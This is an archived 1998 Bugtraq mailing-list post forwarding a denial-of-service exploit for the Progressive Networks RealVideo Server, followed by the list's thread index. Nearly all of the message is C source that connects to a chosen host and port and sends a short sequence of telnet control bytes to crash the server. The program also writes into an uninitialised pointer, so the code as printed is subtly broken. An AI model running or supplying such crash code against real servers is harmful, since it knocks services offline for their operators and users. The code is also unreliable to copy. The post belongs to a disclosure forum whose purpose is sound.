Bugtraq mailing list archives
pnserver exploit..
From: aleph1 () DFW DFW NET (Aleph One)
Date: Thu, 15 Jan 1998 21:22:43 -0600
Courtesy of the fine folks at rootshell. -- forward -- It seems that the pnserver bug was different than first thought. The telnet client sends 6 characters that crash the server when its own maxbuffer is reached. Here is a working exploit. /* * pnserver exploit [1/15/98] * * Crash's Progressive Networks Real Video Server [ http://www.real.com/ ] * * [ http://www.rootshell.com/ ] * * Compiled under linux. * */ #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <string.h> #include <stdlib.h> #include <unistd.h> void main(int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *hp; char *buffer; int sock; if (argc != 3) { printf("usage: %s <rvserver_host> <port>\n\nNote: Try port 7070.\n\n", argv[0]); exit(1); } hp = gethostbyname(argv[1]); if (hp==NULL) { printf("Unknown host: %s\n",argv[1]); exit(1); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(atoi(argv[2])); sock = socket(AF_INET, SOCK_STREAM, 0); connect(sock,(struct sockaddr *) &sin, sizeof(sin)); sprintf(buffer, "%c%c%c%c%c", 255, 244, 255, 253, 6); write(sock, &buffer[0], strlen(buffer)); close(sock); }
Current thread:
- Re: Screen tmp race temp fix Michal Zalewski (Aug 16)
- Re: Screen tmp race temp fix David Luyer (Aug 19)
- [NTSEC] (It gets worse) NT vulnerable to DOS attack on more than Bob Beck (Jan 25)
- firewall-1: old broadcast address hole? Tom Vandepoel (Apr 24)
- another irix buffer overflow... David Hedley (May 26)
- one last one for this evening... David Hedley (May 26)
- Vulnerability Database Matt Barrie (Jun 22)
- perl version of that tin opener (IOS decrypt.c) Riku Meskanen (Jan 11)
- pnserver exploit.. Aleph One (Jan 15)
- Universal Wrapper Willy TARREAU (Mar 03)
- Re: Screen tmp race temp fix Philip Guenther (Aug 19)
- Retraction and apology route () RESENTMENT INFONEXUS COM (Aug 20)
- <Possible follow-ups>
- Screen tmp race temp fix marcelo () FREAK CONECTIVA COM BR (Aug 18)
- Re: Screen tmp race temp fix David Luyer (Aug 19)